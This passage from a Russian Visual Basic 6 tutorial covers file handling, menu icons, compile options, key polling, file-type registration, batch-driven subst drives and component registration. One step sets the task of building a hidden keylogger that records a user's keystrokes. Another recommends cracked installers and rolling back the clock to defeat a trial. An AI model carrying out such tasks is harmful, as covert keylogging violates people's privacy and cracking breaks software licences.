Image1.Height = Image1.Height - 100
End Sub

Исходник - здесь.

ШАГ 166

Работа с файлами произвольного доступа

Файл с произвольного доступа обладает заданной структурой и состоит из записей(также как и БД). Каждая запись имеет свой номер в файле. Доступ к данным осуществляется по этому номеру. Т.е. мы можем использовать обычный текстовой файл как базу данных.
Открытие файла производится только в режиме Random. Для записи и чтения существуют операторы Put и Get
Напишем простенькую программу, которая будет записывать и читать из текст. файла записи. На форму кинь одно текстовое поле, и 2 кнопки(Command1 - Caption = "Запись", Command2 - Caption = "Чтение"). Код

' Объявляем переменные
Dim PutNomer As Long, GetNomer As Long, Gets As String

Private Sub Command1_Click()' При нажатии на кнопку "Запись":
PutNomer = PutNomer + 1' переменная PutNomer - это номер записи, при каждом нажатии на кнопку, на 1 больше
Open "c:\1.txt" For Random As #1' Открываем файл 1.txt, если его нет, то он создастся, и еше, я написал #1 - это номер свободного канала, вместо него можно использовать функции FreeFile
Put #1, PutNomer, Text1.Text' Записываем текст, который в текст. поле
Close #1' Закрываем файл:
End Sub

Private Sub Command2_Click()' При нажатии на кнопку "Чтение":
GetNomer = GetNomer + 1' Переменная GetNomer становится на 1 больше
Open "c:\1.txt" For Random As #1
Get #1, GetNomer, Gets' Читаем текст в переменную Gets, по номеру записи
Close #1
Text1.Text = Gets' То, что прочитали выводим в текст. поле
End Sub

Ну вот, вроде бы и все, этот пример содержит кучу багов, но это не важно, главное научится обращаться с этими функциями. Исходник.

ШАГ 167

Работа с меню. Всовывание картинок в меню.

Ты наверное заметил, как в некоторых программах(например в VB), в меню, напротив раздела, стоит картинка. Так вот, мы сейчас так же сделаем. Наша цель будет вставить в некоторые разделы меню свои картинки, чтобы это выглядело примерно так:

Начнем`с..
Для начала найди картинки(размер приблизатильно 14x14, можно побольше, можно поменьше), можешь взять мои:

Теперь, на форму кинь 4 Image.
В Image1.Picture = Картинка 1
В Image2.Picture = Картинка 2
В Image3.Picture = Картинка 3
В Image4.Picture = Картинка 4

Теперь создай меню, из следующих разделов:

Файд
....Создать
....Открыть
....Сохранить
....Сохранить как
....-
....Параметры страницы
....Печать
....-
....Выход

Имена разделам сам придумай, от них все равно ни чего не зависит.
Немного поясню, вот этот раздел: "....-" нужен для рисования линии в меню
Теперь перейдем к коду:

' Объявляем API
Private Declare Function GetMenu Lib "user32" (ByVal hWnd As Long) As Long
Private Declare Function GetSubMenu Lib "user32" (ByVal hMenu As Long, ByVal nPos As Long) As Long
Private Declare Function GetMenuItemID Lib "user32" (ByVal hMenu As Long, ByVal nPos As Long) As Long
Private Declare Function SetMenuItemBitmaps Lib "user32" (ByVal hMenu As Long, ByVal nPosition As Long, ByVal wFlags As Long, ByVal hBitmapUnchecked As Long, ByVal hBitmapChecked As Long) As Long
Private Const MF_BITMAP = &H4&

Private Sub Form_Load()
Dim M As Long, B As Long, H As Long, G As Long' Объявляем переменные

M = GetMenu(Form1.hWnd)
B = GetSubMenu(M, 0)

' H = GetMenuItemID(B, Здесь надо указать позицию меню, напротив которого будет картинка находиться)
H = GetMenuItemID(B, 2)
G = SetMenuItemBitmaps(M, H, MF_BITMAP, Image3.Picture, Image3.Picture)' Здесь надо указать имя image, в котором будет находиться картинка

H = GetMenuItemID(B, 3)
G = SetMenuItemBitmaps(M, H, MF_BITMAP, Image2.Picture, Image2.Picture)

H = GetMenuItemID(B, 5)
G = SetMenuItemBitmaps(M, H, MF_BITMAP, Image1.Picture, Image1.Picture)

H = GetMenuItemID(B, 6)
G = SetMenuItemBitmaps(M, H, MF_BITMAP, Image4.Picture, Image4.Picture)
End Sub

Исходник Здесь.

ШАГ 168

Правильная компиляция

Меня часто спрашивают, чем Compile to P-code лучше Compile to Native Code, вот в этом шаге об этом и пойдет речь(ну и о другом).
Для начала войди в Проект>>Project Свойства.

Вкладка General
1. Тип проекта - здесь надо указать тип проекта, т.е. Standart EXE, ActiveX, Active DLL.. Если ты создаешь обычный exe проект, то оставь Standart exe.
2. Стандартный объект запуска - здесь надо указать какая форма будет запускаться первой(при запуске программы). Если указать Sub Main, то надо создать процедуру Sub Main(обычно в модуле):

Public Sub Main()
Код
End Sub

3. Имя проекта - здесь надо указать имя проекта.
4. Имя - здесь надо путь к справке(об этом потом)

Вкладка Make
В этой вкладке можно указать версию проекта, имя компании... короче всю инфу, которая будет написанна в своцствах проект

Вкладка Compile
В этой вкладке надо выбрать тип компиляции.
1. Компилировать с Р-кодом - если компилировать проект в Р код, то программа будет запускаться только с установленным Visual Basic`om
2. Компилировать с Native кодом - это обычная компиляция в машинный код, у нее есть дополнительные параметры:
2.1. Оптимизация под быстрый код - Программа работает быстрее, но занимает больше места
2.2. Оптимизация под малый код - Программа работает медленнее, но занимает меньше места
2.3. Оптимизация под малый код - Программа работает медленнее, но занимает меньше места
2.4. Не оптимизировать - Без оптимизайции
2.5. Favor Pentium Pro - Программа работает быстрее на Pentium Pro
2.6. Create Symbolic Debug Info - Создается отладочный файл

ШАГ 169

API функция - "GetAsyncKeyState"

Функция GetAsyncKeyState нужна для отслжевания нажатых клавиш, если форма не активна. Вот маленький пример использования функции. На форму кинь таймер(Interval = 1), и впиши код:

' Объявляем API
Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer

Private Sub Timer1_Timer()
If GetAsyncKeyState(32) = -32768 Then MsgBox "Нажат Пробел"' Функция GetAsyncKeyState(ASCII код клавиши) возвращает -32768, если нажата клавиша, ASCII код которой находится в скобках, и возвращает 0, если не нажата
If GetAsyncKeyState(vbKeyF1) = -32768 Then MsgBox "Нажат F1"
End Sub

Теперь я дам тебе задание:
Сделай клавиатурный шпион, т.е. программу, которая будет отслеживать нажатые клавиши юзверя. Программа должна быть не видимой, и сохранять в отдельный файл все нажатые клавиши.

ШАГ 170

Регистрация новых типов файлов(расширений)

Для регистрации новых расширений нужно воспользоваться реестром. Сейчас мы сделаем программу, которая зарегистрирует новое расширение, и даст ему иконку. На форму кинь кнопку, и создай модуль. Код модуля(взят из шага 74, работа с реестром. Модуль нужен для работы с реестром.):
Код Модуля:
'--------------------------------------------------------------------------------------------------

Public Const REG_SZ As Long = 1
Public Const REG_DWORD As Long = 4
Public Const HKEY_LOCAL_MACHINE = &H80000002
Public Const HKEY_CLASSES_ROOT = &H80000000
Public Const HKEY_CURRENT_USER = &H80000001
Public Const HKEY_USERS = &H80000003

Public Const ERROR_NONE = 0
Public Const ERROR_BADDB = 1
Public Const ERROR_BADKEY = 2
Public Const ERROR_CANTOPEN = 3
Public Const ERROR_CANTREAD = 4
Public Const ERROR_CANTWRITE = 5
Public Const ERROR_OUTOFMEMORY = 6
Public Const ERROR_INVALID_PARAMETER = 7
Public Const ERROR_ACCESS_DENIED = 8
Public Const ERROR_INVALID_PARAMETERS = 87
Public Const ERROR_NO_MORE_ITEMS = 259
Public Const KEY_ALL_ACCESS = &H3F
Public Const REG_OPTION_NON_VOLATILE = 0

Declare Function RegCloseKey Lib "advapi32.dll" (ByVal hKey As Long) As Long
Declare Function RegCreateKeyEx Lib "advapi32.dll" Alias "RegCreateKeyExA" (ByVal hKey As Long, ByVal lpSubKey As String, ByVal Reserved As Long, ByVal lpClass As String, ByVal dwOptions As Long, ByVal samDesired As Long, ByVal lpSecurityAttributes As Long, phkResult As Long, lpdwDisposition As Long) As Long
Declare Function RegOpenKeyEx Lib "advapi32.dll" Alias "RegOpenKeyExA" (ByVal hKey As Long, ByVal lpSubKey As String, ByVal ulOptions As Long, ByVal samDesired As Long, phkResult As Long) As Long
Declare Function RegQueryValueExString Lib "advapi32.dll" Alias "RegQueryValueExA" (ByVal hKey As Long, ByVal lpValueName As String, ByVal lpReserved As Long, lpType As Long, ByVal lpData As String, lpcbData As Long) As Long
Declare Function RegQueryValueExLong Lib "advapi32.dll" Alias "RegQueryValueExA" (ByVal hKey As Long, ByVal lpValueName As String, ByVal lpReserved As Long, lpType As Long, lpData As Long, lpcbData As Long) As Long
Declare Function RegQueryValueExNULL Lib "advapi32.dll" Alias "RegQueryValueExA" (ByVal hKey As Long, ByVal lpValueName As String, ByVal lpReserved As Long, lpType As Long, ByVal lpData As Long, lpcbData As Long) As Long
Declare Function RegSetValueExString Lib "advapi32.dll" Alias "RegSetValueExA" (ByVal hKey As Long, ByVal lpValueName As String, ByVal Reserved As Long, ByVal dwType As Long, ByVal lpValue As String, ByVal cbData As Long) As Long
Declare Function RegSetValueExLong Lib "advapi32.dll" Alias "RegSetValueExA" (ByVal hKey As Long, ByVal lpValueName As String, ByVal Reserved As Long, ByVal dwType As Long, lpValue As Long, ByVal cbData As Long) As Long
Declare Function RegDeleteKey& Lib "advapi32.dll" Alias "RegDeleteKeyA" (ByVal hKey As Long, ByVal lpSubKey As String)
Declare Function RegDeleteValue& Lib "advapi32.dll" Alias "RegDeleteValueA" (ByVal hKey As Long, ByVal lpValueName As String) 'Создание нового ключа
Public Function CreateNewKey(lPredefinedKey As Long, sNewKeyName As String)
Dim hNewKey As Long
Dim lRetVal As Long
lRetVal = RegCreateKeyEx(lPredefinedKey, sNewKeyName, 0&, vbNullString, REG_OPTION_NON_VOLATILE, KEY_ALL_ACCESS, 0&, hNewKey, lRetVal)
RegCloseKey (hNewKey)
End Function

'Запись данных в ключ
Public Function SetKeyValue(lPredefinedKey As Long, sKeyName As String, sValueName As String, vValueSetting As Variant, lValueType As Long)
Dim lRetVal As Long
Dim hKey As Long

lRetVal = RegOpenKeyEx(lPredefinedKey, sKeyName, 0, KEY_ALL_ACCESS, hKey)
lRetVal = SetValueEx(hKey, sValueName, lValueType, vValueSetting)

RegCloseKey (hKey)
End Function

Public Function SetValueEx(ByVal hKey As Long, sValueName As String, lType As Long, vValue As Variant) As Long

Dim lValue As Long
Dim sValue As String

Select Case lType
Case REG_SZ
sValue = vValue
SetValueEx = RegSetValueExString(hKey, sValueName, 0&, lType, sValue, Len(sValue))
Case REG_DWORD
lValue = vValue
SetValueEx = RegSetValueExLong(hKey, sValueName, 0&, lType, lValue, 4)
End Select

End Function

'Возвращает значения записанные в ключе(т.е. чтение)
Public Function QueryValue(lPredefinedKey As Long, sKeyName As String, sValueName As String)

Dim lRetVal As Long
Dim hKey As Long
Dim vValue As Variant
lRetVal = RegOpenKeyEx(lPredefinedKey, sKeyName, 0, KEY_ALL_ACCESS, hKey)
lRetVal = QueryValueEx(hKey, sValueName, vValue)
QueryValue = vValue
RegCloseKey (hKey)

End Function

Function QueryValueEx(ByVal lhKey As Long, ByVal szValueName As String, vValue As Variant) As Long

Dim cch As Long
Dim lrc As Long
Dim lType As Long
Dim lValue As Long
Dim sValue As String

On Error GoTo QueryValueExError

'Определение размера и типа считываемых данных
lrc = RegQueryValueExNULL(lhKey, szValueName, 0&, lType, 0&, cch)
If lrc <> ERROR_NONE Then MsgBox "Данных (ключа) не существует!", vbExclamation, Form1.Caption
Select Case lType
'Для символьных
Case REG_SZ:
sValue = String(cch, 0)
lrc = RegQueryValueExString(lhKey, szValueName, 0&, lType, sValue, cch)
If lrc = ERROR_NONE Then
vValue = Left$(sValue, cch)
Else
vValue = Empty
End If
'Для числовых
Case REG_DWORD:
lrc = RegQueryValueExLong(lhKey, szValueName, 0&, lType, lValue, cch)
If lrc = ERROR_NONE Then vValue = lValue
'Для остальных не поддержанных типов данных
Case Else
lrc = -1
End Select
QueryValueExExit:
QueryValueEx = lrc
Exit Function
QueryValueExError:
Resume QueryValueExExit
End Function

'Удаление значений ключа
Public Function DeleteValue(lPredefinedKey As Long, sKeyName As String, sValueName As String)
Dim lRetVal As Long
Dim hKey As Long
lRetVal = RegOpenKeyEx(lPredefinedKey, sKeyName, 0, KEY_ALL_ACCESS, hKey)
lRetVal = RegDeleteValue(hKey, sValueName)
RegCloseKey (hKey)
End Function

'Удаление ключа
Public Function DeleteKey(lPredefinedKey As Long, sKeyName As String)
Dim lRetVal As Long
lRetVal = RegDeleteKey(lPredefinedKey, sKeyName)
End Function

'-------------------------------------------------------------------------------------------------------

Теперь код формы. Скажу последовательность действий:
1. Надо создать ключ в реестре с разделе HKEY_CLASSES_ROOT с нужным расширением(например ".cdk").
2. Значение стокового параметра "(По умолчанию)" в созданном ключе, надо изменить на имя своей программы(например "cdkfile"(вместо ""))
3. Надо создать еще один ключ, с тем именем, который ты внес в значение строкого параметра "По умолчанию" предыдущем ключе(пред. ключ ".cdk", значение "cdkfile"). В этом ключе мы и будем создавать ключи, отвечающие за какие - либо действия(например открытие файла, или присвоение иконки, или печать..)
4. Значение срокового параметра "По умолчанию" ключа("cdkfile") можно изменить на любой текст. И этот текст будет отображаться в свойствах файла, в разделе "Общие>Тип Файла", если стоит XP, то под файлом.
5. Для прикрепления иконки к созданному расширению, нодо создать в ключе "cdkfile" подключ "DefaultIcon", и значение строкового параметра "По умолчанию" надо изменить на путь к иконке(причем путь может быть не только в *.ico файлам, но и к *.exe файлам. И тогда иконка возьмется из exe файла.).
6. О всех действиях ты узнаешь(если захочешь) сам(посмотрев ключи других программ, например, ключи .ini файла, или .txt, или др. файлов), я скажу тебе о действии "Открыть". В ключе "cdkfile" создаешь подключи:
HKEY_CLASSES_ROOT
- cdkfile
- shell
- open
- command
Значение строкового параметра "По умолчанию" ключа command, должен быть путь к программе, которая будет открываться при двойном клике на файле с расширение .cdk(ну который мы почти создали).
Вот как это будет выглядеть программно(т.е. код формы):

Private Sub Command1_Click()
' Создаем файл с расширением *.CDK, ну это чтобы убедится что новый тип создан.
Open "New_Tip.cdk" For Output As #1
Print #1, "Новый тип"
Close #1

' Создаем основные ключи
CreateNewKey HKEY_CLASSES_ROOT, ".cdk"' Для чего этот ключ нужен, смотри выше(№ 1)
CreateNewKey HKEY_CLASSES_ROOT, "cdkfile\DefaultIcon"' Этот ключ для иконки
CreateNewKey HKEY_CLASSES_ROOT, "cdkfile\shell\open\command"' Этот ключ для действия откорыть

' Записываем значения строковых параметров:
SetKeyValue HKEY_CLASSES_ROOT, "cdkfile", "", "Новый тип *.CDK", REG_SZ ' Смотри № 4:
SetKeyValue HKEY_CLASSES_ROOT, "cdkfile\DefaultIcon", "", App.Path & "\" & "1.exe", REG_SZ ' Записываем путь к иконке, иконка берется из файла 1.exe, который находится в той же папке где и сама программа
SetKeyValue HKEY_CLASSES_ROOT, ".cdk", "", "cdkfile", REG_SZ ' Записываем путь к ключу, смотри № 2
SetKeyValue HKEY_CLASSES_ROOT, "cdkfile\shell\open\command", "", App.Path & "\" & "1.exe", REG_SZ ' Вместо App.Path & "\" & "1.exe" укажи путь к своей программе(№ 6)
End Sub

Теперь перезагрузи комп(без этого иконка не появтся, т.к. она только после перезагрузки появляется), и любуйся.
Исходник.

Восемнадцатая часть

Автор учебника: Падре
Дата создания: 21 марта 2004 года

Часть 1 | Часть 2 | Часть 3 | Часть 4 | Часть 5 | Часть 6 | Часть 7 | Часть 8 | Часть 9
Часть 10 | Часть 11 | Часть 12 | Часть 13 | Часть 14 | Часть 15 | Часть 16 | Часть 17 | Часть 18

Место под Банеры

Логотипы, банеры, сайты на заказ


Часть 1 | Часть 2 | Часть 3 | Часть 4 | Часть 5 | Часть 6 | Часть 7 | Часть 8 | Часть 9
Часть 10 | Часть 11 | Часть 12 | Часть 13 | Часть 14 | Часть 15 | Часть 16 | Часть 17 | Часть 18

ШАГ 171

Работа с клавиатурой

Очень часто при создании игр начинающий гейм - мейкер сталкивается с проблеммой передвижения объекта. Т.е. при нажатии в верх и в бок объект или останавливается, или идет только в одну сторону. А вот как сделать чтоб при нажатии в верх и в бок, объект двигался в верх(или вниз) и в бок(влево или вправо) одновременно? Можно использовать DirectInput, но DirectInput освоить не так уж и легко, а вот есть более легкий способ.
На форму кинь Picture1(AutoSize = True, BorderStyle = 0), Timer(Interval = 1), вот код:

Dim L As Boolean ' Объявляем переменную L как Boolean, т.е. значение переменной может принимать только 2 значения, True и False. Если переменная L принимает значение True то объект двигается, если False - то стоит
Dim R As Boolean
Dim U As Boolean
Dim D As Boolean

Private Sub Picture1_KeyDown(KeyCode As Integer, Shift As Integer)' При НАЖАТИИ на кнопку:

If KeyCode = vbKeyLeft Then ' Если нажата клавиша Left:
L = True ' L = True, т.е. объект двигается в лево
R = False' Если объект двигался вправо, то останавливаем его
End If

If KeyCode = vbKeyRight Then ' Если нажата клавиша Right:
L = False' Если объект двигался влево, то останавливаем его
R = True ' Объект двигаем вправо
End If

' Здесь аналогично
If KeyCode = vbKeyUp Then
U = True
D = False
End If

If KeyCode = vbKeyDown Then
D = True
U = False
End If
End Sub

Private Sub Picture1_KeyUp(KeyCode As Integer, Shift As Integer)' При ОТЖАТИИ кнопки:

If KeyCode = vbKeyLeft Then L = False' Если отжата кнопка влево, то останавливаем объект
If KeyCode = vbKeyRight Then R = False
If KeyCode = vbKeyUp Then U = False
If KeyCode = vbKeyDown Then D = False
End Sub

Private Sub Timer1_Timer()
' Здесь я думаю все понятно
If L = True Then Picture1.Left = Picture1.Left - 20
If R = True Then Picture1.Left = Picture1.Left + 20
If U = True Then Picture1.Top = Picture1.Top - 20
If D = True Then Picture1.Top = Picture1.Top + 20
End Sub

Исходник

ШАГ 172

Полезные Программы

1. create Install - Очень часто спрашивают на форумах(да и меня тоже часто): - "Как написать инсталятор для своей программы??". Вот эта программа и нужна для создания инсталяторов. Очень мошная программа, и самая удобная и легкая по сравнению с другими инсталяторами(в других очень сложно разобраться). Качать рекоммендую русскую версию. Качай самую последнюю версию(в нете поищи) с кряком(или keygen, или серийником). Разобраться в ней очень просто. Кстати, в программе есть функция регистрации компонентов и библиотек, т.е. если ты используешь чей - нибудь компонент, то можно его проинсталировать/зарегистрировать вместе со своей программой.
2. Setup Generator Pro - Аналог Create Install, даже лучше(кряк легче найти)
3. ReGet - лучшая программа качалка. Она нужна для быстрого скачивания файлов из нета. Качает очень быстро, и можно в любой момент остановить закачку, и через неопределенное время(хоть через год) продолжить. Очень много настроек.
4. The Bat - лучший почтовик, если ты пользуешься Outlook Express, то срочно переходи на The Bat. В нем есть очень мощная функция борьбы со спамом, куча настроек, прикольный дизайн.
5. Opera - лучший броузер(лучше Internet Explorer). Качать советую без поддержки Java, т.к. Java, кроме 15MB чистого веса, вобщем ни чего не дает.
6. ICQ - знаменитая аська, качать советую Pro версию(не Lite)
7. CuteFTP Pro - лучшая программа для закачки файлов на сервер.
8. Virtual CD - лучшая программа для создания виртуальных дисков. Например, друг дал тебе диск с игрой, а игра идет только с диском. А диск надо отдовать. Вот с помощью этой программы можно сделать копию диска, и запускать игру с компа.
9. 4U WMA MP3 Converter - лучшая программа для перекодировки музыкальных файлов. Например, с ее помощью можно сделать из MP3 в Wav, WMA...(и обратно)
10. GIF Movie Gear - С помощью этой программы можно сделать фон прозрачным(т.е. не придется использовать функцию BitBlt для создания прозрачности). Очень полезная программа. Огромное спасибо Александру за то что сообщил о программе. Программа платная, и будет работать в течении 30 дней. Если 30 дней прошло, то просто переведи дату на 30 дней назад, и программа запустится.

В этом шаге я не писал про очень известные программы(WinZip, WinAmp..), а написал про очень нужные, но не очень известные.

ШАГ 173

Делаем программу для создания локальных дисков

На VB нельзя создавать локальные диски, но те, кто работал в Dos, наверняка знают команду Subst. Для тех, кто не знает, скажу, что эта команда нужна для создания локальных дисков. Вот ее синтаксис:
Subst Имя диска: Путь к папке, на которую ссылается диск

Имя диска: - это любая буква англ. алфавита, которой будет называться диск(например a:, C:, d:..)
Путь к папке, на которую ссылается диск - путь к папке, на которую ссылается диск. Например, "c:\disk". В папке Disk будут хранится все файлы и папки, которые юзер перенесет в созданный диск. Т.е. мы не будем делать новый диск, а просто сделаем диск, который будет ссылаться на другой диск. Для начала краткий обзор Dos команд:

1. MD Имя папки - Комманда MD создает папку, т.к. стандартными средствами VB этого сделать нельзя, а использовать API в данной программе просто нет смысла(т.к. все равно будем пользоватся Dos, и одна строчка я думаю не помешает)
2. Exit - Выход из Dos
3. Del путь к папке с файлами - удаляет все файлы в указанной папке(это можно сделать и на VB, написать Kill C:\путь к папке\*.*). Если к этой команде поставить параметр /Q, то удаление будет без разрешения юзера.
4. Subst Имя диска: Путь к папке: - создает диск, ссылающийся на папку. Если указать пааметр /d, то диск удалится(subst имя диска /d).

Теперь к кодингу:
На форме кинь текстовое поле(Text = "", maxLeight = 1), кнопку(Caption = "Создать диск"), еще одну кнопку(Caption = "Удалить диск"). Код:

' Переменные для хранения Dos соманд
Dim com1 As String
Dim com2 As String
Dim com3 As String

Private Sub Command1_Click() ' Создать диск
com1 = "md c:\disk" & Chr(13) + Chr(10)' Команда созания папки, Chr(13) + Chr(10) - перевод строки для след. команды
com2 = "Subst " & Text1.Text & ": " & "c:\Disk" & Chr(13) + Chr(10)' Создаем диск и именем которое было введенно в Текст. поле, ссылающийся на папку c:\Disk
com3 = "Exit"' Выходим из Доса

Open "disk.bat" For Output As #1' Создаем и открываем файл disk.bat(файлы с расширением Bat имееют текстовую структуру, для редактирования открываются блокнтом. При запуске выполняют Dos команды, которые в них вписанны)
Print #1, com1 & com2 & com3' Записываем все команды
Close #1

Shell "cmd /X /C start disk.bat", vbMinimizedNoFocus' Открываем файл disk.bat
End Sub

Private Sub Command2_Click()' Удалить диск
com1 = "del c:\disk /q" & Chr(13) + Chr(10)' Удаляем все файлы из папки
com2 = "subst " & Text1.Text & ":" & " /d" & Chr(13) + Chr(10)' Удаляем вписанный в текст. поле диск
com3 = "Exit"' Выходим из Доса

' Записываем все команды в файл, и выполняем их:
Open "disk.bat" For Output As #1
Print #1, com1 & com2 & com3
Close #1

Shell "cmd /X /C start disk.bat", vbMinimizedNoFocus

End Sub

Исходник

ШАГ 174

Объект FileListBox

Этот объект прежде всего нужен для работы с файлам, а не для создания проводника :-). Обычно его скрывают(Visible = False), хотя иногда он нужен и в незасекреченном виде. Например, сейчас мы сделаем простенькую программу, которая будет узнавать сколько папка занимает места. Скажу сразу, что этого можно достичь при помощи FSO(при помощи API у меня так и не получилось), но таскать со своей программой библиотеку "scrrun.dll"(144 KB) очень неудобно. Итак, начнем`с...
На форму кинь объект FileListBox(Visible = False), 2 метки, и кнопку. В диске C:\ создай папку, с именем "1", и в нее напихай файлов(их размер мы определим).
Для создания программы нам понадобятся функции:
Format() - Функция обрезает дробное(например 1.021) число. Например: Format(12.123456789, "0.000") - функция выдаст 12.123, т.к. мы указали чтоб было 3 символа после точки("0.000").
FileLen() - функция выдает вес файла в байтах.
Код:

' Объявляем переменные как Single, т.е. эти переменные будут работать с дробными числами, длиной до 32 символов.
Dim FileSize As Single
Dim FileSize2 As Single
Dim FileSize3 As Single

Private Sub Command1_Click()
' Устанавливаем начальные значения переменных(чтобы при повторном нажатии не было багов)
Label1.Caption = ""
Label2.Caption = ""
FileSize = 0
FileSize2 = 0
FileSize3 = 0

File1.Path = "C:\1" ' Устанавливаем путь, в котором FileListBox будет работать с файлами(верней находить)
File1.Refresh ' Обновляем FileListBox

For i = 0 To File1.ListCount - 1 ' Цикл длится столько, сколько имен файлов(а имен файлов столько, сколько файлов в папке c:\1) записанно в File1.
FileSize = FileLen(File1.Path & "\" & File1.List(i)) / 1024 / 1024 ' Узнаем вес файла(путь к файлу узнаем так: File1.Path & "\" & File1.List(i), где File1.Path в нашем случае это C:\1, File1.List(i) - это полное имя файла, находящегося в FileListBoxe, с индексом i). Переводим вес из байтов в мегабайты.
FileSize2 = Format(FileSize, "0.000")' Немного обрезаем число, до 3 символов после точки
FileSize3 = FileSize3 + FileSize2' Плюсуем

Label2.Caption = Label2.Caption & vbCrLf & File1.List(i)' Выводим в столбик имена всех файлов в папке
Next i
Label1.Caption = FileSize3' Надпись Метки будет равен весу всех файлов в папке
End Sub

Исходник
P.S. Скажу на последок, что работать с объектом DirListBox анологично, только там вместо файлов - папки.

ШАГ 175

Создание красивых кнопок

Для создания красивых кнопок есть несколько способов:
1. Нарисовать кнопку в 2ух видах, когда кнопка отжата, и когда нажата. При нажатии на кнопку показывать 1 рисунок(MouseDown), при отжатии(MouseUp) другой. Для рисования кнопок есть программа Just Buttons(на начало 2004 года, последняя версия 3.4). Она умеет рисовать кнопки в двух видах, разных форм(круглые, квадратные, с закругленными концами...(очень много видов)). Советую скачать. Только к версии 3.4 я так и не нашел кряк. Кто найдет, отошлите мне.
2. Можно сделать метку(св-ва BorderStyle = 0, BackStyle = 0, AutoSize = False, Alignment = 2) и при наводе на нее мышкой делать свойство BorderStyle = 1, А при отводе BorderStyle = 0).

Как все это сделать, смотри в примере(с пояснениями).
Скачать пример

ШАГ 176

Получение значений коммандной строки

Функция Command нужна для получение значений коммандной строки. Для чего это нужно? Например, перед тобой стоит такая задача:
Надо сделать чтобы все текстовые файлы открывались твоей программой(это можно сделать при помощи шага: "Регистрация новых типов файлов(расширений)"), и текст содержащийся в текст. файле помещался в текстовое поле(Text1). Это("текст содержащийся в текст. файле помещался в текстовое поле") можно сделать только при функции Command. Сейчас мы сделаем такую программу. На форму кинь текст. поле(MultiLine = True, ScroollBars = 2). Вот код:

Dim Com As String

Private Sub Form_Load()
' Следующие 2 строчки будут вырезать первый и последний символ значение Command. Все дело в том, что функция Command выдает значение в кавычках, и эти 2 строчки уберут кавычки
Com = Mid(Command, 2, Len(Command))
Com = Mid(Com, 1, Len(Com) - 1)' Переменная Com будет равна значению Command, но без кавычек

' Открываем файл, путь к которому записан в переменной Com
Open Com For Input As #1
Text1.Text = Input(LOF(1), #1)
Close #1
End Sub

Теперь выбери любой текстовой файл, нажми правой кнопкой, выбери раздел "Открыть с помощью", потом нажми на "Выбрать программу", и выбери ту программу, которую мы только что сделали. И текст содержащийся в текстовом файле окажется в текстовом поле. На эту тему есть очень хорошая статья - "Замена исполняемых файлов с целью получение возможных параметров командной строки", в разделе Хакинг на моем сайте(http://padre.narod.ru/).

ШАГ 177

Регистрация компонентов

Почти каждый программист делая программку использует какой - нибудь компонент(взять тот же Common Dialog), и очень часто при переносе программы на вражеский комп программа не работает, из - за того что на вр. компе нету компонента, или он не зарегистрирован в системе.
Вот основные способы регистрации:
1. Надо скачать программу VB-PowerWrap или Fusion, и с помощью нее скомпилировать vb программу и ocx`ки и dll`ки в один *.exe файл. Т.е. эти программы нужны для того, чтобы запихнуть все библиотеки и компоненты в один exe файл.
2. Положить все нужные компоненты и библиотеки в папку с программой, из которой они будут запускаться. И тогда при запуске программы, они автоматически зарегистрируются. Этот способ проверялся на VB6(на VB5 может и не работать)
3. Можно воспользоваться программой regsvr32.exe, она вроде поставляется со всеми версиями windows(начиная с 98). Эта программа нужна для регистрации компонентов. Сейчас напишем программу, которая будет регистрировать/дерегистрировать компонент. На форму кинь 2 кнопки(у 1ой, Caption = "Регистрировать", у 2ой - "Де - регистрировать"). Код:

Private Sub Command1_Click()
Shell "cmd /X /C start regsvr32.exe 1.ocx /s", vbHide' Регистрируем компонент 1.ocx, который находится в тойже папке где и сама программа. Параметр /s нужен для тихой регистрации, т.е. если его не указать, то при регистрации компонента будет появлятся сообщение, о том что компонент зарегистрирован.
End Sub

Private Sub Command2_Click()
Shell "cmd /X /C start regsvr32.exe /u 1.ocx", vbHide' Де - Регистрируем
End Sub

Исходник(в исходнике 2 проекта, первый - регистрирует/де - регистрирует компонент, а второй находится в папке "Тест", и использует зарегистрированный компонент(если компонент не зарегистрирован, то проект(2) не откроется))

Программа regsv32 может запускаться с разными параметрами:
/u - Отмена регистрации
/s - "Тихий" режим; окна сообщения не отображаются
/i - Вызывает DllInstal, передовая параметром необязательную строку команд, при использовании с ключом /u DllInstall
/n - Не вызывает DllInstallServer; это может использоваться с ключом /i

При создании более - менее крупных программ следует помнить, что VB работает на подпорках(это библиотеки msvbvm60.dll - если программа написанна на VB6, и msvbvm50.dll - если программа написанна на VB5). А эти подпорки есть не на всех компах, т.е. их следует тоскать со своей программой, и регистрировать. Наверное лучше всего для этого подайдет способ 2, но возможно(я на VB5 не проверял), этот способ на VB5 работать не будет, и поэтому можно сделать при помощи *.bat файлов. Открой блокнот, и впиши туда:

regsvr32.exe COMDLG32.ocx /s
regsvr32.exe msvbvm60.dll /s
autorun.exe
Первая строчка регистрирует компонент(Common Dialog), вторая библиотеку msvbvm60.dll, третья запускает файл autorun.exe. Теперь сохрани это файл как(Файл>>Сохранить как) имя_файла.bat. И положи в ту директорию где этот файл библиотеки и компоненты который он регистрирует(в нашем случае COMDLG32.ocx, msvbvm60.dll). И туда же файл autorun.exe.
Если ты всё сделал правильно, то при запуске этого файла, у тебя должны зарегистрироваться компоненты и библиотеки, и потом запуститься файл autorun.exe.

ШАГ 178

Ссылки

Т.к. мой учебник еще пишется, а в тебе бурлит инстинкт познания (Во как сказал!), то я решил здесь написать самые лучшие на мой взгляд ссылки (ВНИМАНИЕ!!! это не коммерческие ссылки, я писал их не с целью чтоб мне отвалили немного бабла (хотя все равно влятри кто отвалят), или еще что - нибуть сделали, а с целью сэкономить твое драгоценное время, которое ты потратишь в поисках хорошего VB сайта. Все сайты представлены в порядке убывания, от крутого к стремному.

1. http://padre.narod.ru - Официальный сайт этого учебника, т.е. с него качай самые последние версии учебника. На сайте огромное колличество статей, исходников, учебников, ActiveX, программ.. связанных не только с программированием на Visual Basic, но и с другими языками.
2. http://vbnet.ru - на сайте есть очень много статей, исходников, примеров...
3. Мир Visual Basic - Может это и не самый крупный сайт, но на нем много авторских статей, исходников о VB и VBA. И вобще, сайт быстро растет.
4. VB Шаг за Шагом - на этом сайте тоже много инфы

